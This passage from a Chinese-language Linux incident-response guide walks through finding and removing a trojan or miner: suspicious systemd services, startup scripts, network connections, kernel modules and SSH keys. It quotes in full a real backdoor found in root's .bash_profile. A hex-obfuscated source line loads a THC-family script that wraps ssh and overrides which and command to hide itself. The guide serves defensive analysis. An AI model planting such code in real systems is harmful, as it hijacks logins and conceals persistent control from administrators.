特别关注并记录
- 服务配置文件的位置(
systemctl cat <服务名>第一行输出) ExecStart配置的启动程序。
如果确认需要处理
# 立即停止服务
systemctl stop <服务名>
# 取消其开机启动
systemctl disable <服务名>
# 删除配置文件
rm <配置文件>
# 删除启动程序
rm <启动程序>
# 刷新 systemd
systemctl daemon-reload
5. 检查所有用户的启动脚本
- 如果内容较多可以把结果交给 AI 进行筛查(提示词:我在排查木马或者挖矿程序问题,下面的的启动项是否存在可以内容)
cat /root/.bashrc
cat /root/.bash_profile 2>/dev/null
ls -la /etc/profile.d/
这里找到了一个可疑的内容
# /root/.bash_profile
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f726f6f742f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
其目的是每次 root 登录后,调用 /root/.config/prng/seed 程序,其内容如下
这是一个典型的恶意后门脚本,属于
THC(一个与黑客工具相关的标识)家族的隐蔽控制程序,核心目的是劫持系统命令、长期控制服务器
export THC_BASEDIR="/root/.config/prng"
THC_VERBOSE=""
[[ -n "$THC_VERBOSE" ]] && export THC_VERBOSE || unset THC_VERBOSE
THC_TESTING=""
[[ -n "$THC_TESTING" ]] && export THC_TESTING || unset THC_TESTING
THC_PS_NAME="$(basename $SHELL 2>/dev/null)"
export THC_PS_NAME="-${THC_PS_NAME:-bash}"
THC_ORIG_SSH="$(command -v ssh)"
#THC_ORIG_SUDO="$(command -v sudo)"
unalias which &>/dev/null
thc_set1()
{
unset -f ssh sudo 2>/dev/null
ssh()
{
if [[ -f "/root/.config/prng/ssh" ]]; then
THC_TARGET="$THC_ORIG_SSH" "/root/.config/prng/ssh" "$@"
else
$THC_ORIG_SSH "$@"
fi
}
#sudo()
#{
# if [[ -f "/root/.config/prng/sudo" ]]; then
# THC_TARGET="$THC_ORIG_SUDO" "/root/.config/prng/sudo" "$@"
# else
# $THC_ORIG_SUDO "$@"
# fi
#}
which()
{
unset -f ssh sudo which command 2>/dev/null
which "$@" && { thc_set1; true; } || { thc_set1; false; }
}
command()
{
unset -f ssh sudo which command 2>/dev/null
command "$@" && { thc_set1; true; } || { thc_set1; false; }
}
}
thc_set1
立即删除了该配置
6. 其他可疑情况排查
# 可疑网络连接:列出网络连接后人工或者 AI 辅助筛查
netstat -antp | grep -v "127.0.0.1" | grep ESTABLISHED
# 可疑内核模块:列出内核模块后人工或者 AI 辅助筛查
lsmod | grep -v "^Module"
# 排查异常 ssh 登录配置
cat /root/.ssh/authorized_keys 2>/dev/null
ls -la /root/.ssh/
# 检查内核模块(木马可能加载了 rootkit)
lsmod | awk '{print $1}' | while read mod; do
modinfo $mod 2>/dev/null | grep -E "^(filename|description|author)" | head -3
echo "---"
done | grep -B 3 -A 1 -E "(deleted|unknown|suspicious)" | head -50
三、总结
整体排查流程如下

2万+






